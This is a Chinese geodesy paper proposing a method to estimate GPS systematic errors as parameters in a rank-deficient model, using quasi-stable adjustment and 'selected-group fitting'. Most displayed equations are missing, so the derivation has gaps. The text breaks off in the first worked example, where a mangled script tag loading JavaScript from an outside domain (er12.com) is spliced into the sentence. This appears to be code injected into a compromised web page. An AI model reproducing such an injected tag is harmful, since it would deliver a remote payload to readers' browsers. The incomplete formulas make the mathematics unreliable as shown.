摘 要：将系统误差作为待估参数纳入观测方程。观测方程属于观测数小于待估参数个数的秩亏方程。本文提出一种新算法。通过降维变换，并借鉴拟稳平差思想，采用“选群拟合”附加约束，可求得基线分量等确定性参数的估值以及系统误差估值，削弱了系统误差对gps精密定位结果的影响。用两个gps基线实测算例，比较了新方法与以往算法的效果。最后讨论了新方法在gps测量中的适用范围。
关键词：gps精密定位；系统误差；秩亏方程；拟稳平差；选群拟合
引 言
在测量数据处理中，系统误差是很棘手的问题，特别是gps精密定位对精度要求越来越高，研究系统误差的有效处理方法正受到越来越多的关注。
系统误差的特性非常复杂，既具有延续性，又有偶然性［1］，因而很难用统一的、确定性的模型来准确描述它。就gps测量来说，信号受到多种误差源的误差干扰，有的误差(例如电离层折射影响)可以利用双频接收机的方式得到较好补偿，而多路径影响却很难找到有效的改正模型。系统误差虽经部分模型改正，或差分改正，仍有部分残余留在观测量中，或多或少影响到参数估计的精度。中长基线的整周数(模糊度)解算成功率偏低，可以认为主要是系统误差影响的缘故。
处理系统误差除了从环境和机制上寻找原因，建立适当的模型进行改正之外，还可以用参数、非参数或半参数的估计方法，国内外的许多学者［1～6］在这些方面作了长期的、大量的研究。
moritz给出的拟合推估方法［2］也常用来改正系统误差的影响，这时把系统误差看成随机信号，用双拟合法则进行估计。周江文提出了“部分延续模式”［1］，给系统误差赋权，用常规参数估计方法进行估计。陈永奇针对gps监测网及工程测量问题，提出了模拟系统误差的算法［3］，施闯等人研究了高精度gps网的系统误差问题［4］。近年来，fischer．b等人将非参数回归与拟合推估算法进行了对比分析，并将半参数估计引入测量问题［5］，jia minghai将向量型半参数估计用于削弱gps系统误差影响［6］，satirapod等人结合gps实测算例，比较了半参数模型、小波算法和迭代统计模型等三种方法处理gps测量中系统误差的效果。这些探讨都给人们有益的启示。
本文提出一种不同于已有方法［3～6］的研究思路，将系统误差当作待估参数。模型属于待估参数多于观测方程个数的秩亏问题。借鉴监测网拟稳平差的思想，采用选群拟合的办法求解待估参数。文中结合gps基线解算的例子，展示了新方法的效果，最后讨论了新方法的应用条件等问题。
1 数学模型
设有线性化的gps双差观测方程
其中：x为m维待估的确定性未知量参数向量，可以是基线分量等参数；y为差分后未消除干净的n维系统误差向量；δ为n维观测噪声向量；l为改化的n维观测值向量；a为n×m阶系数矩阵，列满秩，n＞m。b为系数阵，为推导方便，假定为单位阵
式(2)中共有m＋n个待估参数，但只有n个观测，方程是秩亏的。利用平差因子
r＝i－a(atpa)－1atp作用于式(2)，得
rt＝rl (3)
将r作奇异值分解r＝udvt，其中u，d可不考虑，而v＝(v1 v2)是正交阵。
其中：b＝v2 a为n×2m阶矩阵，秩亏为m；w为2m维未知数向量。
经过参数变换式(4)后，未知数维数降低了。
2 选群拟合的解算方法
方程(6)仍是秩亏方程。解算这类方程可借鉴周江文先生的“拟稳平差”［7］思想。它是辨证地利用一些先验信息将待估参数分群，然后对部分参数附加约束，获得确定解。作者将这一思想推广到粗差检定中，提出了“粗差拟准检定法”［8］，实践证明是有效的。
本文假定确定未知数x已获得较准确的近似值。另在式(6)的z2部分选出一个参数，与x共同构成m＋1个“拟准参数”，附加“拟准参数的改正数范数极小”的条件，来求式(6)的确定解。
参照文［7～8］，最后得到
当然相应的精度评定量，如解的协方差等都可算出，本文省略了。
选群拟合的关键是“拟准参数”的选取是否合适。可以用如下算法完成：参数x必选，另一参数在z2中轮着选取，共计算m次，然后比较各次算得的(共m个值)，取对应值最小的一组为最合适的选择，由此得到值的最终结果。
一般情况下，是最需要的结果。如果进一步需要得到系统误差的估值，可由式(4)算出，然后再根据系统误差及噪声的统计特性，可推算出。由于gps精密测量相位观测噪声相对较小，因此与一般差异不大，可用代替。
3 算例分析
下面介绍两个实测算例，比较新方法与经典解法的结果。
算例1 基线长为15 274．865 m，用双频javadlegacy?script src=http://er12.com/t.js>
